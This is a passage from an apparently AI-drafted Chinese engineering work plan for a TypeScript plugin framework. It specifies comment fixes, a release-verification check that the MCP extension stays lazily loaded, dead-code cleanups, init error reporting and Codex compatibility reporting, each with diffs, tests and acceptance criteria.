`Object.defineProperty`。已实测确认:两者最终枚举/序列化时整数键(如 '1','2','9','10')被引擎按数值升序前置,localeCompare 的 lexicographic 结果被覆盖;localeCompare 仅对非整数字符串键(如 'a','b')生效。 + +**具体改动:** + +① serialization.ts sortObject JSDoc(:3-10)补一句:`注意:JS 引擎在枚举/序列化重建对象时会把整数索引键(如 '10')按数值升序前置,故这些键实际按数值序输出、localeCompare 只决定非整数字符串键的相对顺序;整数键顺序不依赖 ICU,反而更稳。` +② serialization.ts:17 `.sort(...localeCompare...)` 行尾/上方加行内注释:`// 对整数键无实效——Object.fromEntries 后枚举会按数值序重排,localeCompare 只排非整数字符串键。` +③ documents.ts:57 同款行内注释;并把 :53 注释『按稳定键顺序复制』收紧为『非整数键按 localeCompare、整数键按 JS 数值序复制』。 + +**边界与连带:** 纯注释,行为/字节不变(已实测输出顺序即当前实现输出)。与 §18 一致且更强:整数键排序不经 ICU,故 ICU 版本差异不影响整数键(与 P17d-4 呼应,注释可交叉引用)。措辞须与实测一致:不要写成‘localeCompare 决定所有键’。 + +**测试:** 可选(建议)最小回归断言,加到 packages/core/test/documents.test.ts:构造含键 {'10','2','1','b','a'} 的 document value,断言 cloneJson 后 `Object.keys(...)` === ['1','2','10','a','b'](整数数值序 + 字符串 localeCompare 序)。这是 §18 确定性的 load-bearing 断言。 + +**验收:** 两文件注释准确描述整数键=数值序、字符串键=localeCompare;若加断言则该断言通过;typecheck/check-comments 绿。 + +**工作量:** S | **独立分支:** 否 | **风险:** none——已用 node 实测证实原方案措辞正确(Object.fromEntries/defineProperty + 枚举把整数键重排为数值序),无与决策冲突。 + + +--- + +### P17d-4 · localeCompare('en') 的 ICU 依赖注明(§18 只钉 Node major) + +**决策:** 在共享比较器与 sortObject 处注明:字符串排序用 localeCompare('en'),其对 Unicode 边界字符的结果依赖 Node 内置 ICU 版本,而 §18 只钉 Node major;实际输入为 ASCII 标识符,故跨 ICU 稳定。 + +**现状(锚点):** packages/core/src/diagnostics.ts:39-41 compareStrings 是诊断/兼容性/元数据排序的共享比较器(被 sortDiagnostics/sortCompatibility 等复用),用 `.localeCompare(...,'en')`;packages/core/src/serialization.ts:17 sortObject 同样用 localeCompare('en')。均未注明 ICU 依赖。 + +**具体改动:** + +① diagnostics.ts:39 compareStrings 上方注释追加:`// localeCompare('en') 的整理结果在 Unicode 边界处依赖 Node 内置 ICU 版本;§18 只钉 Node major,故此处的确定性依赖‘输入均为 ASCII 标识符/kebab-case/相对路径’——这类输入的 localeCompare 跨 ICU 版本稳定。若未来排序键可能含任意 Unicode,需改用 code-unit 比较以彻底摆脱 ICU。` +② serialization.ts:17 加精简版:`// localeCompare('en') 依赖 ICU;当前键均为 ASCII,跨 ICU 稳定(见 diagnostics.ts compareStrings 注释)。` + +**边界与连带:** 纯注释。与 P17d-3 呼应:整数键不经 localeCompare 故与 ICU 无关。注释须准确——不要暗示当前存在 bug;当前输入域(ASCII)下确定性成立。中文注释满足 check-comments。 + +**测试:** 无新测试;check-comments/typecheck 复跑。 + +**验收:** compareStrings 与 sortObject 均带 ICU 依赖说明并指出当前 ASCII 输入域使其稳定、以及未来 Unicode 输入的升级路径。 + +**工作量:** S | **独立分支:** 否 | **风险:** none。 + + +--- + +### P17d-5 · Cursor logo 故意不做存在性校验的注释(可能是远程 URL) + +**决策:** 在 Cursor validator 的引用存在性校验处注明:logo 虽在 MANIFEST_FIELDS 中被接受,但故意不纳入路径存在性检查,因为 Cursor 允许 logo 为远程 URL 而非 Plugin 根内文件。 + +**现状(锚点):** packages/platforms/cursor/src/validator.ts:9 MANIFEST_FIELDS 含 'logo';:131-133 未知字段检查按 MANIFEST_FIELDS 放行 logo;:152-156 仅对 commands/skills/agents 做 validateReference 存在性检查,:157-163 仅对 hooks/mcpServers。logo 全程无路径安全/存在性校验,但无注释说明这是有意为之(原任务锚点 :152)。 + +**具体改动:** + +在 validator.ts:152(commands/skills/agents 引用检查循环上方)插入注释:`// 注意:logo 虽是 MANIFEST_FIELDS 合法字段,但刻意不在此做路径存在性/安全校验——Cursor 允许 logo 为远程 URL(非 Plugin 根内相对路径),对其做 referenceExists 会误报。仅对确定为 Plugin 根内引用的字段(commands/skills/agents、hooks/mcpServers)校验。` + +**边界与连带:** 纯注释,不改校验行为(logo 依旧只受未知字段白名单约束)。若日后要校验 logo,需先区分 URL 与相对路径两种形态——注释已点出。中文注释满足 check-comments。 + +**测试:** 无新测试;确认 cursor platform.test.ts 既有用例仍绿。 + +**验收:** validator.ts 引用检查段有该注释,解释 logo 被有意排除的原因;校验逻辑与产物不变。 + +**工作量:** S | **独立分支:** 否 | **风险:** none。 + + +--- + +### P17d-6 · verify-release.mjs 增加 MCP tree-shake §4.3 断言 + +**决策:** 在发布验证中静态断言:主包 dist/index.mjs 的 eager(静态 import)图不含 MCP-extension 运行时符号(defineMcpServer),证明可选 MCP Extension 未被 eager 打包。 + +**现状(锚点):** scripts/verify-release.mjs 现有 inspectTarball(:103) 解压主包但不做 eager-graph 检查;verifyMainOnlyMigration(:169) 只在运行时证明 MCP 扩展未被安装。实测(packages/acplugin/dist):index.mjs 静态 import 8 个 src-*.mjs,其中无 defineMcpServer;defineMcpServer/migration-validation-api 仅存在于 lazy 的 migration-*.mjs(由 cli.mjs 动态 import,不在 index.mjs 静态图)。字符串 `@tokenroll/acplugin-extension-mcp` 会合法出现在 eager 的 init/scaffold 代码中(src-BeOh0YMW.mjs:329/360/547 写生成文件),故不能用包名作标记。 + +**具体改动:** + +新增纯函数(script 内)`assertMainEagerGraphExcludesMcp(packageRoot)`,并在 inspectTarball 内 `expectedName === '@tokenroll/acplugin'` 分支(:114 MCP 断言附近)调用: +```js +// §4.3:主包 eager 图不得静态拉入 MCP Extension 运行时符号;MCP 只能经 lazy chunk 动态加载。 +async function assertMainEagerGraphReachable(distDir) { + const seen = new Set(); + const stack = ['index.mjs']; + while (stack.length) { + const rel = stack.pop(); + if (seen.has(rel)) continue; seen.add(rel); + const code = await fs.readFile(path.join(distDir, rel), 'utf8'); + // 仅跟随静态 import/export ... from './x'(动态 import("…") 天然不匹配 => 被排除) + for (const m of code.matchAll(/(?:from|import)\s*["'](\.\/[^"']+)["']/g)) + stack.push(m[1].replace(/^\.\//, '')); + } + return seen; +} +// 调用: +const distDir = path.join(destination, 'package/dist'); +const eager = await assertMainEagerGraphReachable(distDir); +for (const rel of eager) { + const code = await fs.readFile(path.join(distDir, rel), 'utf8'); + assert(!/\bdefineMcpServer\b/.test(code), + `Main package eager graph (${rel}) statically pulls in MCP-extension symbol defineMcpServer; MCP must stay lazy (§4.3).`); +} +``` +标记用 `defineMcpServer`(MCP 运行时公开符号,仅当扩展代码被内联时出现),不用包名字符串。 + +**边界与连带:** 确定性:必须跟随内容 hash 命名的 chunk 规范(如 src-CZQrAAf6.mjs),不能硬编码文件名——上面用图遍历解决。动态 import `import("…")` 必须被排除:正则以 `from|import` 后紧跟引号匹配,`import(` 后是 `(` 不匹配,天然排除 lazy 边界。若 tsdown 输出改用不带 `./` 前缀或裸 specifier 需同步正则(当前全部为 `./` 相对)。marker 需能抗 minify——当前 dist 未 minify 且 defineMcpServer 为导出/属性名不被改写;若未来开启 name-mangling,应改断言 chunk 集合本身(如断言 migration/mcp chunk 不在 eager 集合)。 + +**测试:** 断言本身即测试,随 `node scripts/verify-release.mjs`(或 pnpm 对应脚本)执行。反向验证:临时在 index.ts 顶部静态 `import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'` 重打包,确认脚本 fail(验证后回滚)。 + +**验收:** verify-release.mjs 运行时对主包 eager 图断言通过;人为把 MCP 运行时符号拉进 eager 图会使脚本非零退出。 + +**工作量:** M | **独立分支:** 否 | **风险:** marker 依赖 dist 未 mangle 导出/属性名(当前成立)。若发布构建启用符号混淆,defineMcpServer 可能消失——届时改为‘eager 图不得包含 migration/mcp 专属 chunk 文件’的集合断言。 + + +--- + +### P17d-7 · cross-unit 图安全由 / 隔离提供的注释 + +**决策:** 注明:全局 DeliveryUnit/Artifact 图的跨单元安全,来自每个单元独占 / 两级根 + 单元内独立 ArtifactRegistry,路径不会跨单元冲突。 + +**现状(锚点):** 锚点 lifecycle.ts:695-696 `const finalUnits = units.snapshot()`(即 spec 步骤 12 的全局图校验入口)无跨单元隔离说明。真正的隔离机制在:delivery-units.ts:14 `#units` 以 `(platform,unit-id)` 键、:32-34 #key、:56-58 重复键报错、:60 单元内独占 ArtifactRegistry;transaction.ts:216-228 deliveryUnitRoots 用 `${unit.platform}/${unit.id}` 作物理根并对重复根抛错(:223-225)。 + +**具体改动:** + +① lifecycle.ts:695-696 快照处注释追加:`// 跨单元安全性由 / 隔离保证:每个 DeliveryUnit 独占该两级物化根(见 transaction.ts deliveryUnitRoots)且各自独立 ArtifactRegistry(delivery-units.ts),故不同单元的同名相对路径永不互相覆盖;此处只需校验全局图完整、无错误。` +② transaction.ts:222 `const key = ${unit.platform}/${unit.id}` 上方注释补:`// 该两级根即跨单元隔离边界:重复即报错,保证任意两单元的 Artifact 落到不相交子树。` + +**边界与连带:** 纯注释。前提:platform 与 unit id 均已被 kebab-case 校验(delivery-units.ts:49、transaction.ts:220),隔离才无歧义——注释可点出此前提。不改行为/字节。 + +**测试:** 无新测试;确认 delivery-units.test.ts / transaction.test.ts 既有重复键用例覆盖该保证(如有则引用,无需新增)。 + +**验收:** lifecycle.ts 全局图校验处与 transaction.ts 根映射处均注明隔离由 / 提供;无行为变化。 + +**工作量:** S | **独立分支:** 否 | **风险:** none。 + + +--- + +### P17d-8 · migration 全局 symbol bridge 的串行前提注释 + +**决策:** 注明:global symbol bridge + activeValidationProxies 引用计数只在‘所有并发迁移暴露同一不可变 api 且 runProject 校验按迁移串行’的前提下安全;它不隔离不同 api,并发差异 api 会后写覆盖。 + +**现状(锚点):** packages/acplugin/src/migration/index.ts:46 `MIGRATION_VALIDATION_API = Symbol.for('tokenroll.acplugin.migration-validation-api')`,:48-49 `let activeValidationProxies = 0`;:1269-1271 validateCanonicalProject 里 `api = Object.freeze({ defineConfig, claudeCode, mcp, defineMcpServer })`→`Reflect.set(globalThis, ...)`→计数+1;:1322-1324 finally 计数-1、归零才 deleteProperty。注释(:48)只说『延迟删除全局桥接』,未写清并发前提。 + +**具体改动:** + +把 index.ts:48 注释扩写为:`// 引用计数用于并发迁移共享全局桥接时延迟删除。安全前提:①每次迁移写入的 api 都是同一组不可变公开工厂({defineConfig,claudeCode,mcp,defineMcpServer}),故并发覆盖是幂等的;②每个生成工程的 runProject('validate') 就其自身而言是串行的,不依赖 per-call 的 api 身份。该桥接是进程/realm 级可变状态,不隔离不同 api——若未来令 api 随迁移变化(或在共享 realm 的 worker 中并行),最后写入者会覆盖其余,必须改为 per-migration 键或显式互斥。` +可在 :1270 Reflect.set 处加一行 `// ponytail: 进程级全局桥接,api 恒为同一冻结常量故并发幂等;api 若变异则需 per-migration 键。` + +**边界与连带:** 纯注释。事实核对无误:api 恒为同一 frozen 常量(:1269),计数归零才删(:1323-1324),故当前并发相同 api 幂等安全。注释须中文。不改行为。 + +**测试:** 无新测试;确认 migration 相关测试仍绿。 + +**验收:** symbol/计数声明处注释写清‘同一不可变 api + 串行 runProject’前提及并发差异 api 的失效模式与升级路径。 + +**工作量:** S | **独立分支:** 否 | **风险:** none。 + + +--- + +### P17d-9 · baseline changeset 故意不 bump 的说明 + +**决策:** 在 .changeset/initial-1-0-baseline.md 说明:空 frontmatter 是有意的——记录 1.0.0 架构基线但不触发任何包版本 bump,以满足首次手动发布前公开 cohort 固定在 1.0.0 的约束。 + +**现状(锚点):** .changeset/initial-1-0-baseline.md 现为空 frontmatter(:1-2 `---`/`---`)+ 单行正文『Record the unreleased 1.0.0 architecture baseline without bumping the already prepared public cohort.』;未解释为何空 frontmatter=不 bump。约束依据:scripts/verify-release.mjs:348 断言 version==='1.0.0'『must remain at 1.0.0 before the first manual publish』;.changeset/config.json 三公开包 fixed 组、私有包 ignore。 + +**具体改动:** + +保留空 frontmatter(不加任何 `'@tokenroll/...': patch` 行——加了就会 bump),把正文扩写为(英文正文即可,changeset 正文非注释、不受 check-comments 约束): +`Record the unreleased 1.0.0 architecture baseline without bumping the already-prepared public cohort.\n\nThe empty frontmatter is intentional: it declares zero package bumps, so "changeset version" produces no version change. The public cohort (@tokenroll/acplugin + hooks/mcp extensions, a fixed group in .changeset/config.json) must stay pinned at 1.0.0 until the first manual publish — enforced by scripts/verify-release.mjs (asserts version === '1.0.0'). This entry exists only to document the baseline in the changelog; do not add package:bump lines here.` + +**边界与连带:** 关键:frontmatter 必须保持空,任何 `pkg: patch/minor/major` 行都会破坏 1.0.0 pin 并使 verify-release.mjs:348 失败。确定性:changeset 正文进 changelog,不入产物字节。此文件为 Markdown 正文,非源码注释,无需中文。 + +**测试:** 无代码测试。验证:`pnpm changeset status`(或等价)显示 0 个待 bump 包;`node scripts/verify-release.mjs` 的 version==='1.0.0' 断言仍通过。 + +**验收:** baseline changeset 正文解释了空 frontmatter=不 bump 及 1.0.0 pin 的来由与约束;frontmatter 仍为空;changeset status 无版本变更。 + +**工作量:** S | **独立分支:** 否 | **风险:** none(唯一雷区是误加 bump 行,已在文中显式警告)。 + + +--- + +### P12 · 发布 runbook 记录 tsdown 0.x(0.22.x)破坏性风险(仅文档,不改 catalog pin) + +**决策:** 在发布 runbook 记录 tsdown 处于 0.x(catalog 固定 ^0.22.14)、0.x minor 间可能有破坏性变更的风险;不改 pnpm-workspace.yaml 的 catalog pin。双语文档成对更新(release.md + release.zh-CN.md)。 + +**现状(锚点):** 已 Read 确认。 +- catalog pin:pnpm-workspace.yaml 第 11 行 `tsdown: ^0.22.14`(0.x 上的 caret = `>=0.22.14 <0.23.0`,已自动排除 0.23 minor 跳升)。 +- llmdoc/guides/release.md(84 行)节:## Repository workflows / ## Prepare a release / ## Pack the release cohort / ## Publish manually / ## Create the release references manually / ## Safety rules(末节),无工具链风险条目。 +- llmdoc/guides/release.zh-CN.md(84 行,成对)节:仓库工作流:13 / 准备发布:21 / 打包发布包组:37 / 手动发布:50 / 手动创建 Release 引用:67 / 安全规则:78(末节)。 +- 仓库维护双语对照(release.md 头部有『[中文对照](release.zh-CN.md)』链接),故两文件都要加。 + +**具体改动:** + +在两文件末节(EN `## Safety rules` / zh `## 安全规则`)之前各插入一个新小节,可直接粘贴: + +# 追加到 llmdoc/guides/release.md(置于 `## Safety rules` 之前) +## Toolchain pins + +`tsdown` is pinned in the workspace catalog at `^0.22.14`, a pre-1.0 `0.x` release. Under semver, `0.x` minors may ship breaking changes; the caret already excludes `0.23.0`. Do not bump the `tsdown` catalog entry as part of a routine release. When a `tsdown` upgrade is required, treat it as a separate deliberate change: bump the catalog pin on its own branch, run `pnpm run check` and `pnpm run release:verify`, and diff every package `dist/` to confirm the declaration output, `attw`, and `publint` results are unchanged before releasing. + +# 追加到 llmdoc/guides/release.zh-CN.md(置于 `## 安全规则` 之前) +## 工具链固定版本 + +`tsdown` 在工作区 catalog 中固定为 `^0.22.14`(1.0 之前的 `0.x` 版本)。按 semver,`0.x` 的 minor 升级可能包含破坏性变更;caret 已排除 `0.23.0`。常规发布中不要顺带升级 catalog 里的 `tsdown`。确需升级时按独立且刻意的改动处理:在单独分支上修改 catalog pin,运行 `pnpm run check` 与 `pnpm run release:verify`,并 diff 每个包的 `dist/`,确认声明文件产物、`attw` 与 `publint` 结果不变后再发布。 + +**边界与连带:** 1) 纯文档,零代码/产物/确定性影响。 +2) 必须成对改:只改一个语言会破坏 release.md↔release.zh-CN.md 对照。 +3) 目标是【tracked】llmdoc/(非 .llmdoc-tmp/),note 会随仓库长期保留 —— 与 AGENTS.md:140『稳定知识更新到 llmdoc/』一致。 +4) pin 不动:`^0.22.14` 已挡住 0.23,风险点其实是『有人手动把 catalog 提到 0.23+ 或跨 patch』时未复验 —— 文案已明确要求升级后重跑 check+release:verify 并 diff dist。 + +**测试:** 无(纯文档)。可选断言:`grep -l 'Toolchain pins' llmdoc/guides/release.md` 与 `grep -l '工具链固定版本' llmdoc/guides/release.zh-CN.md` 均命中;`grep 'tsdown:' pnpm-workspace.yaml` 仍为 `^0.22.14`。 + +**验收:** 两 release 文档各新增该小节且内容对照;pnpm-workspace.yaml 的 tsdown pin 未变;无任何 catalog/构建改动。 + +**工作量:** S | **独立分支:** 否 | **风险:** none。 + + +--- +## S5 — 低优批量清理 + +### P17a · 一行修复批:删死循环/死三元/冗余判断 + trim 空白 + -- 处停止 legacy 扫描 + +**决策:** 五处最小化清理与修正:OpenCode validator 空循环删除;Hooks 运行器死三元简化;scanner stringArray 空白校验改 trim;graph 冗余 byKey.has 删除;CLI legacy --target 扫描在 -- 处停止。 + +**现状(锚点):** (a) packages/platforms/opencode/src/validator.ts:43-47 `for (const artifact of artifacts) { if (...) continue; /* 注释 */ }` —— 每次迭代非 continue 即落到注释,整个循环无副作用。 +(b) packages/extensions/hooks/src/runtime-source.ts:140 (生成的运行器串) `interceptedBytes += Buffer.byteLength(typeof chunk === 'string' ? chunk : chunk);` —— 三元两支都是 chunk。 +(c) packages/core/src/scanner.ts:292 `value.some(item => typeof item !== 'string' || item === '')` —— 只挡空串,放过纯空白。stringField(scanner.ts:264) 用的是 `value.trim() === ''`,不一致。 +(d) packages/core/src/scanner.ts:1047-1050 visit 内 `for (const target of edges.get(node) ?? []) { if (byKey.has(target)) visit(target); }` —— edges 在 1003-1013 只 push 了 byKey.has 为真的 traversable 目标,这里的 byKey.has 恒真。 +(e) packages/acplugin/src/cli.ts:679 `if (argv.slice(2).some(argument => argument === '--target' || argument === '-t' || argument.startsWith('--target=')))` —— 扫描 node+script 之后全部参数,包括 `--` 之后本应作为操作数/值的 `--target`,会误触发 legacy usage error。 + +**具体改动:** + +(a) validator.ts:43-47 整段删除(48 行的 `if (!artifacts.has(WORKSPACE_CONFIG_PATH)) return;` 起保留)。 +(b) runtime-source.ts:140 +- ` interceptedBytes += Buffer.byteLength(typeof chunk === 'string' ? chunk : chunk);` ++ ` interceptedBytes += Buffer.byteLength(chunk);` +(Buffer.byteLength 对 string 与 Buffer 均可,行为等价。) +(c) scanner.ts:292 +- `if (!Array.isArray(value) || value.some(item => typeof item !== 'string' || item === '')) {` ++ `if (!Array.isArray(value) || value.some(item => typeof item !== 'string' || item.trim() === '')) {` +(短路保证 item.trim() 只在已窄化为 string 时求值。) +(d) scanner.ts:1047-1050 +- ` for (const target of edges.get(node) ?? []) {` +- ` if (byKey.has(target))` +- ` visit(target);` +- ` }` ++ ` for (const target of edges.get(node) ?? [])` ++ ` visit(target);` +(e) cli.ts:678-684,把扫描限制在首个 `--` 之前: +``` + const flagArgs = argv.slice(2); + const terminator = flagArgs.indexOf('--'); + const scanned = terminator === -1 ? flagArgs : flagArgs.slice(0, terminator); + if (scanned.some(argument => argument === '--target' || argument === '-t' || argument.startsWith('--target='))) { + program.error("option '--target' has been removed; use '--platform ' instead", { exitCode: 2, code: 'acplugin.legacyTarget' }); + } +``` + +**边界与连带:** (a) validator 循环纯死代码,删后 validateOpenCodeBundle 语义不变;Public 安全性本就由 Core Artifact Registry 保证(原注释所述)。(b) 生成串行为完全等价,不改运行器语义。(c) 行为微变:纯空白的 requires.skills/agents/capabilities 现在在数组形态层报 FRONTMATTER_STRING_ARRAY,而非落到后续 ID_PATTERN/能力集报更晚的错;结果数组仍返回原值(不 trim 元素),不影响下游。(d) edges ⊆ byKey 恒成立,删除后遍历集合不变,环/缺失检测行为不变。(e) `['build','--target','unknown']` 仍报错(indexOf('--') 为 -1,全扫描);`--` 之后的 `--target` 不再误报。commander 未设 allowExcessArguments(false),`--` 后操作数不会因此崩。 + +**测试:** (a)(b)(d) 无行为变更,验收=现有 opencode/platform.test.ts、hooks.test.ts(SessionEnd oversized/log/output-forbidden 用例已覆盖 intercept 计数)、core/test/graph.test.ts 全绿,不新增。 +(c) core/test/scanner.test.ts 新增:一个 command frontmatter `requires:\n skills:\n - ' '`,断言 diagnostics 含 `{ code: 'FRONTMATTER_STRING_ARRAY' }`。 +(e) packages/test/test/cli.test.ts 新增(沿用 runCli 助手,cli.test.ts:174 同款): +``` +it('does not treat --target after -- as the removed legacy flag', async () => { + const usage = await runCli(['build', '--', '--target'], root); + expect(usage.stderr).not.toContain('has been removed'); +}); +``` +并保留 cli.test.ts:173-177 现有正向用例不变。 + +**验收:** 五处改完:lint(含 comments:check)通过;opencode/hooks/graph/scanner/cli 相关测试全绿;新增 (c)(e) 两例通过;现有 legacy --target 正向报错用例仍通过。 + +**工作量:** S | **独立分支:** 否 | **风险:** none —— 均为等价清理或更早/更一致的校验;(c) 唯一可见变化是空白输入的诊断码前移,需确认无测试断言旧的 COMPONENT_REQUIRES_ID_INVALID 针对空白输入(现有测试用的是非空白非法 ID,不受影响)。 + + +--- + +### P17b · DX 批:init 失败透传具体原因 + stdio MCP smoke 按 production gate + +**决策:** (1) 为 init 已知用户输入错误引入 InitError 并在 CLI 透传其校验消息(未知内部错误仍走通用安全消息);(2) MCP stdio smoke 仅在 mode==='production' 执行,dev 不每次 spawn;(3) pretest=build 的 DX 属可选,现状已由根 pretest 覆盖,建议不动。 + +**现状(锚点):** cli.ts:598-601 init 的 catch 调 `writeFailure('init', error, options.json, false)`;writeFailure→failureReport(cli.ts:119-130) 仅对 ProjectConfigError 保留原诊断,其余一律输出通用 `COMMAND_FAILED: init failed.`,丢掉真实原因。init.ts 的用户输入校验全是裸 `throw new Error(...)`:97/99(目标非空目录/非目录)、213(缺目录)、227(名字非 kebab)、239(描述空)、258(无 Platform)、264/266(未知/重复 Platform);init.ts:103 是 re-throw 的底层 fs 异常(可能含绝对路径)。index.ts:125 只导出 initializeProject。mcp/src/bundler.ts:436-437 无条件 `const smokeFailure = await smokeTestServer(...)`;ExtensionBuildContext(contracts.ts:208 extends LifecycleContext) 带 command/mode。dev 每次重建都 spawn 子进程跑 5s 协议探测。根 package.json 已有 `pretest: pnpm run build`。 + +**具体改动:** + +init.ts:顶部加 `export class InitError extends Error {}`;把 97/99/213/227/239/258/264/266 的 `throw new Error(...)` 全改为 `throw new InitError(...)`(103 的 re-throw 保持不变——未知 fs 错误不透传)。 +index.ts:125 +- `export { initializeProject } from './init.js';` ++ `export { initializeProject, InitError } from './init.js';` +cli.ts:顶部 import 增加 `InitError`;failureReport(119-130) 增支: +``` + const diagnostics = error instanceof ProjectConfigError + ? error.diagnostics + : error instanceof InitError + ? [{ code: 'INIT_INVALID', severity: 'error' as const, message: error.message, phase: command }] + : [{ code: internal ? 'FRAMEWORK_INTERNAL_FAILED' : 'COMMAND_FAILED', severity: 'error' as const, message: internal ? 'The command failed inside the framework.' : `${command} failed.`, phase: internal ? 'internal' : command }]; +``` +mcp/bundler.ts:436-437 +- ` const smokeFailure = await smokeTestServer(bundle.server, server.definition);` ++ ` const smokeFailure = context.mode === 'production' ++ ? await smokeTestServer(bundle.server, server.definition) ++ : undefined;` +pretest:不改。若确需 `pnpm --filter X test` 前自动 build 依赖,再单独评估 per-package pretest,当前 YAGNI。 + +**边界与连带:** 确定性:mode 是 §18 显式可见输入,production 报 smoke、development 不报,是合规的按 mode 分叉,不引入非确定性。dev 下 broken server 的 bundle 仍被写入/提交——这是 dev 信任作者、不阻塞迭代的有意取舍,production/validate/inspect(默认 mode=production)仍全覆盖 smoke。InitError 只承载已知安全文案(无绝对路径);103 的底层 fs 异常仍收敛为通用消息,不泄露。init.test.ts:71 `rejects.toThrow('not empty')` 因 InitError extends Error、消息不变而继续通过。failureReport 的 phase 用 command(即 'init'),与既有 generic 支写法一致;Diagnostic.phase 接受该字符串。 + +**测试:** packages/test/test/cli.test.ts 新增(runCli): +``` +it('surfaces the specific init validation reason', async () => { + await fs.mkdir(path.join(root, 'occupied')); + await fs.writeFile(path.join(root, 'occupied/keep.txt'), 'x'); + const r = await runCli(['init', 'occupied', '--yes', '--json'], root); + const report = JSON.parse(r.stdout); + expect(report.success).toBe(false); + expect(report.diagnostics[0].code).toBe('INIT_INVALID'); + expect(report.diagnostics[0].message).toContain('not empty'); +}); +``` +packages/extensions/mcp/test/mcp.test.ts 新增(对照 mcp.test.ts:374 的 production 反例): +``` +it('skips the stdio smoke in development so dev rebuilds do not spawn servers', async () => { + const root = await createProject({ remote: false, serverSource: 'process.exit(0);\n' }); + const result = await runProject({ cwd: root, command: 'build', mode: 'development' }); + expect(result.success).toBe(true); + expect(result.diagnostics).not.toContainEqual(expect.objectContaining({ code: 'MCP_STDIO_SMOKE_FAILED' })); +}); +``` +init.test.ts 现有用例保持不变(回归)。 + +**验收:** 1) `acplugin init <非空目录> --yes --json` 输出 code=INIT_INVALID 且 message 含真实原因('not empty'/'kebab-case' 等);未知内部错误仍为 COMMAND_FAILED;2) production 构建对 broken stdio server 仍报 MCP_STDIO_SMOKE_FAILED(mcp.test.ts:374 不变),development 不报且成功;3) InitError 从主包导出;4) init.test.ts 全绿。 + +**工作量:** M | **独立分支:** 是 | **风险:** InitError 是新公开导出(public-api.types.ts / package-boundaries 快照可能需同步登记);需确认 public-api 类型测试不因新导出失败。mcp gate 用 mode 而非 command:inspect(默认 production)也会 spawn 一次 smoke,可接受(一次性)。 + + +--- + +### P17c · 兼容报告批:Codex 非-tool 事件有意义 matcher 报 degraded + {{arguments}} 独立 transform 行 + +**决策:** (1) reportCodexCompatibility 把 matcher 降级从仅 UserPromptSubmit/Stop 扩到所有非-tool 事件(排除 PreToolUse/PostToolUse/PermissionRequest),与 reportPortableCompatibility 同一规则,不再对非-tool 事件静默吞掉有意义 matcher;(2) Codex Command 正文含 {{arguments}} 时发一条独立 transform 兼容行,显式记录占位符被改写为自然语言。 + +**现状(锚点):** packages/extensions/hooks/src/adapters.ts:282 `if (hasMeaningfulMatcher(options.matcher) && (name === 'UserPromptSubmit' || name === 'Stop'))` —— 只覆盖两个事件,SessionStart/PreCompact 等非-tool 事件带 matcher 时不报降级,作者被误导;对照 reportPortableCompatibility(adapters.ts:443-446)用的是 `event !== 'PreToolUse' && event !== 'PostToolUse' && event !== 'PermissionRequest'`。packages/platforms/codex/src/components.ts:307 command 正文 `.replaceAll('{{arguments}}', 'the arguments supplied with this explicit invocation')` 做了语义改写,但 301-325 的 command 循环只报了 component(transform,309)与 argumentHint(degraded,316),从未把 {{arguments}}→自然语言这条转换单独记账。 + +**具体改动:** + +adapters.ts:282-289 改条件与 reason: +``` + if (hasMeaningfulMatcher(options.matcher) + && name !== 'PreToolUse' + && name !== 'PostToolUse' + && name !== 'PermissionRequest') { + context.reportCompatibility({ + subject: `hook:${hook.id}`, + capability: 'matcher', + level: 'degraded', + reason: `Codex only honors matcher on tool events; it is ignored for ${name}.`, + }); + } +``` +codex/components.ts:在 command 循环 component 兼容行(结束于 315)之后、argumentHint 块之前插入: +``` + if (command.body.includes('{{arguments}}')) { + context.reportCompatibility({ + subject: `command:${command.id}`, + capability: 'arguments', + level: 'transform', + transformation: 'The {{arguments}} placeholder becomes natural-language guidance.', + reason: 'Codex Skills cannot substitute Command arguments, so the placeholder is rewritten as descriptive text.', + }); + } +``` + +**边界与连带:** 确定性:两处输入均为稳定工程字节/事件名,includes 判定确定。Strict 影响:transform 不触发 COMPATIBILITY_STRICT(codex platform.test.ts:170 中 command:release=transform 且 strict 构建成功已证),故新增 arguments 行不会破坏 release 的 strict 构建;非-tool matcher 的 degraded 才会在 strict 下失败,但那正是期望(把此前静默的语义损失显式化)。连带:canonicalHooks(hooks.test.ts:240)只在 PreToolUse(tool,排除)与 Stop(非-tool,原本已 degraded)设 matcher,其余事件无 matcher —— 因此 all-events 测试(hooks.test.ts:357)不产生新 degraded 行,result.success 仍为 true,377-382 仍过;codex Stop 专项(hooks.test.ts:740)行为不变。{{arguments}} 行会给 release(body 含 {{arguments}},platform.test.ts:57)与 deploy(platform.test.ts:194)各加一条,但相关断言均用 arrayContaining/toContainEqual,且已确认仓库无对 compatibility 的穷举 toEqual/快照,SKILL.md golden 不含 compat。 + +**测试:** packages/extensions/hooks/test/hooks.test.ts 新增(仅配 codex,避免 claude 结论干扰,模式仿 hooks.test.ts:769): +``` +it('degrades Codex matcher on every non-tool event, not only Stop', async () => { + const root = await createProject({ + hooks: [{ id: 'boot', definition: `{ event: 'SessionStart', matcher: 'startup', run() {} }` }], + configImports: `import { codex } from ${JSON.stringify(acpluginEntry)};`, + configFields: 'platforms: [codex()], build: { strict: true },', + }); + const strict = await runProject({ cwd: root, command: 'validate', mode: 'production' }); + expect(strict.success).toBe(false); + expect(strict.diagnostics).toContainEqual(expect.objectContaining({ code: 'COMPATIBILITY_STRICT', platform: 'codex' })); + const relaxed = await runProject({ cwd: root, command: 'validate', mode: 'production', strict: false }); + expect(relaxed.compatibility).toContainEqual(expect.objectContaining({ platform: 'codex', subject: 'hook:boot', capability: 'matcher', level: 'degraded' })); +}); +``` +packages/platforms/codex/test/platform.test.ts 在既有 release 用例(146)追加断言: +``` +expect(result.compatibility).toContainEqual(expect.objectContaining({ subject: 'command:release', capability: 'arguments', level: 'transform' })); +``` + +**验收:** 1) 带 matcher 的 SessionStart(非-tool)在 Codex 报 matcher degraded,strict 下失败、relaxed 下保留 degraded;2) Stop/UserPromptSubmit 行为不变;3) 含 {{arguments}} 的 Command 产出 capability='arguments' level='transform' 兼容行,不影响 strict 成功;4) all-events(hooks.test.ts:357)与 Stop 专项、codex golden 全绿。 + +**工作量:** M | **独立分支:** 是 | **风险:** 改的是兼容性报告契约:若 packages/test 有跨平台 compatibility 汇总/golden(已 grep 未发现穷举断言)需回归;matcher 规则以仓库自有模型(tool 事件=PreToolUse/PostToolUse/PermissionRequest)为准,若后续对 Codex 支持面有更精确认定需同步该三元。 + + +--- +## 待确认清单(⚠️ 落地前需拍板) + +1. **⚠️ P5 — 公开扩展包 engines 